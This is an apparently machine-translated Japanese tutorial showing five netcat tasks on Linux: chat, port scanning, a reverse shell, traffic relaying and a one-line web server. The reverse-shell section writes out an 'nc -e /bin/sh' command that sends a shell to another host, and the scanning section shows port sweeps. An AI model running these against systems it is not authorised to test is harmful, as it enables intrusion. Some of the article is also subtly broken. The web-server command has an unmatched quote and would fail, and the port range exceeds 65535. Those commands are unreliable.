Linux での Netcat の 5 つのシンプルで簡単な使用方法

Linux での Netcat の 5 つのシンプルで簡単な使用方法

Netcat は、TCP および UDP パケットを送信およびリッスンできる、Linux の強力なコマンド ライン ネットワーク ユーティリティです。他のネットワーク ツールとは異なり、netcat は非常に基本的なものです。ただし、そのシンプルさにより、ネットワーク上でほぼあらゆる種類のアクティビティを実行することもできます。

この記事では、netcat で実行できる 5 つの簡単なネットワーク タスクを紹介します。さらに、この記事では、netcat の特別な点と、Linux ツールキットに netcat を含めるべき理由についても説明します。

Netcat はどのように機能し、なぜ使用するのでしょうか?

Netcat は、ネットワーク パケットを送受信できる基本的なユーティリティです。1995 年にホビットという名のプログラマーによって初めてリリースされました。それ以来、netcat はすべての Linux ディストリビューションの重要な部分を占めてきました。

netcat の核心は、ある Linux ホストから別の Linux ホストにネットワーク リクエストを送信することによって機能します。このネットワーク要求には任意のタイプのデータを含めることができ、任意のポートで送信できます。

netcat を使用した単純なテキスト転送を示すターミナル。

このアプローチは、netcat が可能なあらゆる種類のネットワーク接続を作成できることを意味します。たとえば、このプログラムは、ファイルの転送リバース シェル セッションの作成に使用できる直接 TCP 接続を作成できます。

netcat を使用した 2 つの Linux ホスト間の単純なファイル転送を示すデスクトップ。
画像ソース: Pedro Lastra via Unsplash

1. ピアツーピア チャット セッション

netcat の最も基本的な用途の 1 つは、2 台の Linux マシン間の単純なピアツーピア チャット セッションです。これは、情報の送受信にサードパーティのサーバーに依存しない通信方法です。

  • これを機能させるには、ローカル マシンで 49152 ~ 65536 の間のポートを開く必要があります。ここにリモート ホストが接続し、任意の情報をマシンに送信できるようになります。

sudo ufw allow 50000

  • また、マシンがリモート ホストに情報を送信できるように、リモート ホスト上で別のポートを開く必要があります。

sudo ufw allow 50001

  • netcat次の引数を使用してマシン上で実行します。

nc -lp 50000

これにより、ポート 50000 でデータをアクティブにリッスンする netcat セッションが開きます。

  • これで、リモート ホストはローカル マシンにテキスト データを送信できるようになります。たとえば、次のコマンドはシステムの標準入力をリモート マシンに送信します。

cat - | nc 192.168.122.136 50000

基本的な netcat チャットの標準入力プロンプトを表示する端末。
  • メッセージに応答するには、リモート ホストもリッスン デーモンを実行する必要があります。

nc -lp 50001

  • これで、ローカル マシンからリモート ホストにメッセージを送信することもできます。

cat - | nc 192.168.122.177 50001

全二重 Netcat チャット用の 2 つの仮想端末を示す端末。

2. 基本的なポートスキャナー

ポートスキャナーは、マシン内の一連のポートがリモート ホストからアクセス可能かどうかを確認する単純なユーティリティです。これは、システムで適切なポートが開いているかどうかが不明な場合に非常に役立ちます。

単一のポートを確認するには、次のコマンドを実行し、nc -vその後に確認する IP アドレスとポートを指定します。

nc -v 192.168.122.177 80

ポート 80 の基本的なポート スキャンを示す端末。

また、番号の範囲を指定すると、netcat はその範囲内の各ポート番号を順番にチェックします。たとえば、次のコマンドを実行すると、開いているすべての「既知の」ポートがスキャンされます。

nc -v 192.168.122.177 1-1024

一括スキャンを表示している端末

ポートのクエリの欠点の 1 つは、不必要なネットワーク トラフィックが生成されることです。これは、小規模なホーム ネットワークで広範囲のポートをテストする場合に問題になる可能性があります。

これを修正するには、リモート ホスト上でネットワーク アクティビティを作成しない netcat の「ゼロ I/O」モードを有効にします。

nc -zv 192.168.122.177 1-1024

netcat によるゼロ IO バルク ポート スキャンを示す端末。

3. リバースシェル

リバース シェルは、Linux における侵入テストの基礎です。これらは、受信ポートが開いていなくてもシステムを制御できるリモート シェル インスタンスです。これにより、SSH アクセスを持たないマシンにアクセスする必要がある場合にリバース シェルが便利になります。

  • リバース シェルを作成するには、ローカル マシンでリスナー デーモンを開く必要があります。

nc -lp 50000

  • リモート マシンで netcat 接続を開始します。この場合、リモート マシンのシェル環境も渡す必要があります。

nc -e /bin/sh 192.168.122.136 50000

  • ローカル マシンに戻り、シェル コマンドを実行します。たとえば、実行すると、lsリモート ユーザーの現在のディレクトリが出力されます。

ls -la

成功したリバース シェルの出力を表示するターミナル。
  • リバース シェル セッションを終了するには、ローカル マシンのリスナー デーモンでCtrl+を押します。C
ローカル マシンでリバース シェルが閉じられたことを示すターミナル。

4. 基本的なパケット中継

ネットワーク ストリームを直接読み書きする以外に、netcat を使用して受信接続を任意の送信ポートにリダイレクトすることもできます。これは、UNIX パイプを使用して複数の netcat リスナーとクライアント セッションをチェーンすることで機能します。

  • ポート 50000 でリッスンする netcat セッションを作成します。これは、基本リレーの送信ポートとして機能します。

nc -lv localhost 50000

  • 新しいターミナルを開き、次のコマンドを実行します。

nc -lv localhost 50001 | nc localhost 50000

これを実行すると、ポート 50001 に新しいリスナー デーモンが作成され、このポート上のすべてのパケットがポート 50000 に自動的にリダイレクトされます。

2 つのポート間のパススルー接続を示す端子。
  • これで、データを受信ポートに送信できるようになり、netcat はその出力を送信ポートに自動的にリダイレクトします。

echo "MakeTechEasier"| nc localhost 50001

基本的なパケット中継の動作を示す端末。
  • ローカル ポートとは別に、この機能を使用してネットワーク トラフィックを別のマシンにリダイレクトすることもできます。たとえば、次のコードは、ポート 50000 のデータを別のシステムの同じポートに送信します。

nc -lv localhost 50000 | nc 192.168.122.177 50000

2 つのホスト間の基本的なパケット中継を示す端末。

5. 基本的なHTTPサーバー

HTTP サーバーのセットアップは、単一のページのみを提供する場合でも、複雑なプロセスになる場合があります。その点、netcat は、追加のツールをインストールせずに Linux で起動できる単純な静的 Web サーバーとしても機能します。

  • 基本的な HTTP 応答ファイルを作成します。次のコード スニペットは、簡単なメッセージを含む Web ページを表示します。

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!

<!doctype html>
<html>
<body>
<h1>Hello MakeTechEasier!</h1>
</body>
</html>

  • ホームディレクトリに「index.http」という名前で保存します。
単純な HTTP 応答の構造を示すターミナル。
  • 次のコマンドを実行します。

while true; do { echo -e 'cat /home/$USER/index.http; } | nc -lv localhost 8080; done

シンプルな netcat Web サーバーが実行されている様子を示すターミナル。

これで、Web サーバーが動作するようになりました。Web ブラウザを開いて http://localhost:8080 にアクセスすると、Web ページにアクセスできます。

Web ページを提供する動作中の Netcat Web サーバーを示すスクリーンショット。
  • ターミナルでCtrl+を押して、現在の Web サーバー セッションを終了します。C
基本的な Netcat Web サーバーの終了プロセスを示すターミナル。

よくある質問

netcat を使用してリモート マシンに接続できません。

この問題は、リモート マシン上のファイアウォール ポートがブロックされていることが原因である可能性が高くなります。マシンで使用しているポートが受信接続と送信接続の両方に対して開いていることを確認する必要があります。たとえば、sudo ufw allow 49999リモート マシンでポート 49999 を使用する場合は、実行する必要があります。

netcat を使用して任意のホストに接続することはできますか?

いいえ。netcat は任意のネットワーク ストリームの読み取りと書き込みを行うことができますが、システムのネットワークから検出できないマシンには接続できません。これらには、ポート転送が有効になっていないプライベート ネットワークや、ネットワーク アクセスがないエアギャップ システムが含まれます。

netcat で接続を偽装することは可能ですか?

いいえ。これは、netcat が有効なネットワーク インターフェイスからのみパケットを送受信できるためです。ただし、複数のネットワーク インターフェイスがある場合は、特定のパケットの送信元を変更できます。

たとえば、実行すると、nc -l -s 10.0.0.2 -p 50000IP アドレス「10.0.0.2」を持つインターフェイスを使用してパケットを明示的に送信するように netcat に指示できます。

画像クレジット: ThisisEngineering RAEng via Unsplash。すべての変更とスクリーンショットは Ramces Red によるものです。

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です